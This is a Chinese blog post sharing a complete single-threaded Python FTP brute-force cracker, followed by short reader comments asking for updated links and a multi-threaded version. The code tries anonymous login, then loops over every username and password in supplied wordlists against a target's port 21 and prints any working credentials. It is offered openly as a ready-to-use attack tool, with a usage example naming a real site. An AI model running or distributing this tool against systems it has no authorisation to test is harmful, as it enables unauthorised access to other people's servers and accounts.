最近学习python,然后写的练习工具,希望兄弟们喜欢。。
先发一个单线程版的吧,多线程版的明天发出,祝兄弟们中秋节快乐。
Python FTP暴力破解工具单线程版
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/9/4 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import ftplib, socket, re, sys, time def usage(): print '+' + '-' * 50 + '+' print '\t Python FTP暴力破解工具单线程版' print '\t Blog:http://www.waitalone.cn/' print '\t\t Code BY: 独自等待' print '\t\t Time:2014-09-04' print '+' + '-' * 50 + '+' if len(sys.argv) != 4: print "用法: ftpbrute.py 待破解的ip/domain 用户名列表 字典列表" print "实例: ftpbrute.py www.waitalone.cn user.txt pass.txt" sys.exit() def ftp_anon(host): try: print '\n[+] 测试匿名登陆……\n' ftp = ftplib.FTP() ftp.connect(host, 21, 10) ftp.login() ftp.retrlines('LIST') ftp.quit() print '\n[+] 匿名登陆成功……' except ftplib.all_errors: print '\n[-] 匿名登陆失败……' def ftp_crack(host, user, pwd): try: ftp = ftplib.FTP() ftp.connect(host, 21, 10) ftp.login(user, pwd) ftp.retrlines('LIST') ftp.quit() print '\n[+] 破解成功,用户名:' + user + ' 密码:' + pwd except ftplib.all_errors: pass if __name__ == '__main__': start_time = time.time() usage() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [x.rstrip() for x in open(sys.argv[2])] passlist = [x.rstrip() for x in open(sys.argv[3])] print '[+] Target:', host print '[+] Userlist:', len(userlist) print '[+] Passlist:', len(passlist) ftp_anon(host) print '\n[+] 暴力破解测试中……\n' for user in userlist: for pwd in passlist: ftp_crack(host, user, pwd) print '\n[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
效果如下图:
目前有:1条访客评论,博主回复1条
弱弱的想到一点,爆破的时候一定是失败的次数更多一些,那逻辑是否应该是,失败,报错,万一没失败显示成功,性能会不会好那么一丢丢
test测试
求更新连接....
加油!
更新下链接吧,现在找个工具真难
默认没有开启强制路由的才可以
文章不错非常喜欢
多次在您网站上学到有用的东西,
大牛,能不能把工具发我邮箱,链
Thanks♪(・ω・)ノ感谢
dalao,那道小红的80端口